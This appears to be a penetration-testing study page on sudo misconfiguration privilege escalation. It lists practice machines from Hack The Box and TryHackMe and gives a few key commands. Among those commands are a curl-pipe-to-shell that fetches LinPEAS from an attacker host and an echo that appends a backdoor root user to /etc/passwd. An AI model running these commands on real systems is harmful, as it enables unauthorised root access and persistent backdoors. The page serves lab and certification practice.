Sudo Misconfiguration: practice machines and key commands

By Daniel Dayan ยท Updated

Running sudo -l is one of the first checks after landing a shell, because allowed commands may be a direct path to root. Entries with NOPASSWD, wildcards, environment variables kept through env_keep, or editors and interpreters that can spawn shells are the usual wins, and GTFOBins lists the exact escape for each binary. Version issues also matter, for example older sudo releases with known bypasses. A rule that allows a script to run as root is only safe if that script and every file it loads are not writable by you. Watch for sudoers.d includes and for rules tied to a specific user or host. When sudo needs a password you do not have, reuse credentials from earlier loot. The boxes below hinge on a sudo mistake.

Key commands

Placeholders in braces, such as {TARGET_IP}, are values you fill in for your target.

Sudo Privileges Inspection (`sudo -l`)

Check current user sudo permissions without or with password.

sudo -l

LinPEAS Direct Memory Execution

Download and execute LinPEAS directly in bash memory without writing to disk.

curl -L http://{LHOST}:8000/linpeas.sh | sh

Writable /etc/passwd New Root User Injection

Generate password hash and append a new user with UID 0 (root) to writable /etc/passwd.

echo "toor:$(openssl passwd -1 -salt evil Password123!):0:0:root:/root:/bin/bash" >> /etc/passwd

Keep going

Sudo Misconfiguration machines (23)

8 of these are machines I solved myself and are listed first within each difficulty. 22 Linux, 1 Other.

Listed when a machine has a catalog tag that is one of: sudo, sudo privesc, sudoers, exploiting nopasswd, exploiting sudo nopasswd, nopasswd; or a tag that contains the word sudo. Capital letters, hyphens and underscores are ignored, and the tags that matched come first in each row. "Editor-mapped" marks machines assigned to this topic by hand because none of their tags match.

Sudo Misconfiguration at a glance

Very Easy (2)

MachinePlatformOSTags
VaccineSudoFTPSQLiTar WildcardHTBLinuxSudo, FTP, SQLi, Tar Wildcard
GuardSudoSSHPassword-CrackingHTBLinuxSudo, SSH, Password-Cracking

Easy (14)

MachinePlatformOSTags
Bashed IppSecHTBLinuxEditor-mapped
Blocky IppSecCVE-2017-6074Decompiling-JAR-filesHTBLinuxEditor-mapped, CVE-2017-6074, Decompiling-JAR-files
Knife IppSecHTBLinuxEditor-mapped
Nibbles IppSecExploiting-NOPASSWDHTBLinuxExploiting-NOPASSWD
Pickle RickSudoWeb-EnumerationCommand-InjectionTHMLinuxSudo, Web-Enumeration, Command-Injection
Shocker IppSecExploiting-NOPASSWDExploiting-shellshockHTBLinuxExploiting-NOPASSWD, Exploiting-shellshock
Simple CTFVim-SudoCMS-Made-SimpleCVE-2019-9053SQLiTHMLinuxVim-Sudo, CMS-Made-Simple, CVE-2019-9053, SQLi
Broker IppSecSudo-NginxActiveMQ-CVE-2023-46604Java-DeserializationHTBLinuxSudo-Nginx, ActiveMQ-CVE-2023-46604, Java-Deserialization
CyborgSudoersBorg BackupPassword-CrackingTHMLinuxSudoers, Borg Backup, Password-Cracking
LazyAdminSudoersSweetRice CMSMySQL BackupPerl ScriptTHMLinuxSudoers, SweetRice CMS, MySQL Backup, Perl Script
Lian_YuSudoSteganographygobusterFTPTHMLinuxSudo, Steganography, gobuster, FTP
Spectra IppSecSudoFile-System-PermissionsLateral-MovementHTBLinuxSudo, File-System-Permissions, Lateral-Movement
Sunday IppSecExploiting-NOPASSWDBrute-forcing-SSHHTBOtherExploiting-NOPASSWD, Brute-forcing-SSH
Year of the RabbitSudo-CVEBurp SuiteSteganographyTHMLinuxSudo-CVE, Burp Suite, Steganography

Medium (5)

MachinePlatformOSTags
Blurry IppSecSudo-MLflowClearML-CVE-2024-24590Pickle-DeserializationPyTorchHTBLinuxSudo-MLflow, ClearML-CVE-2024-24590, Pickle-Deserialization, PyTorch
Canape IppSecExploiting-NOPASSWDCVE-2017-12636HTBLinuxExploiting-NOPASSWD, CVE-2017-12636
FluxCapacitor IppSecExploiting-NOPASSWDHTBLinuxExploiting-NOPASSWD
Stratosphere IppSecExploiting-NOPASSWDStrutsHTBLinuxExploiting-NOPASSWD, Struts
WatcherSudoLFIFTPCronTHMLinuxSudo, LFI, FTP, Cron

Hard (1)

MachinePlatformOSTags
Brainpan 1SudoersBuffer-OverflowBinary ExploitationWineTHMLinuxSudoers, Buffer-Overflow, Binary Exploitation, Wine

Insane (1)

MachinePlatformOSTags
Jail IppSecExploiting-NOPASSWDEnumerating-NFS-sharesEscaping-SELinux-sandboxEscaping-rvimHTBLinuxExploiting-NOPASSWD, Enumerating-NFS-shares, Escaping-SELinux-sandbox, Escaping-rvim

Related techniques

Related guides: TJ Null OSCP list, OSCP exam scoring and time budget, OSCP vs CPTS, OSCP report template.

Practise it, then track it.

Log every box and the commands you used in ZeroBox.